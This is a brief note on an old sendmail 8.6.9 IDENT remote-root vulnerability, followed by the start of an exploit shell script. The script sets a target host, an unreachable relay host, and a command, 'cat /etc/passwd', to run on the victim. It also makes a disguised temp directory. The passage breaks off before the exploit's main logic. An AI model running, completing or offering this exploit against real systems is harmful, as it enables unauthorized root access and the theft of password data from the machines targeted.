A vulnerability in the IDENT function of sendmail 8.6.9 allows attackers to obtain remote root access. Very little other information on this vulnerability is currently available; this is an old vulnerability. 


it for sm869 or worse
# identd must not be enabled (port 113 must be free)

# this must be a host that mail can go to (MX not pointing elsewhere)
# that we cant reach right now (ie. host doesnt exist anymore)
UNREACHABLE="goofy.uhcc.hawaii.edu"

# Commands to run on remote host
COMMANDS="cat /etc/passwd"

# what host to run it on
TARGET="foobar.all.net"

# work in a temp dir
TD=/tmp/.Xwork.$$
mkdir $TD
cd $TD
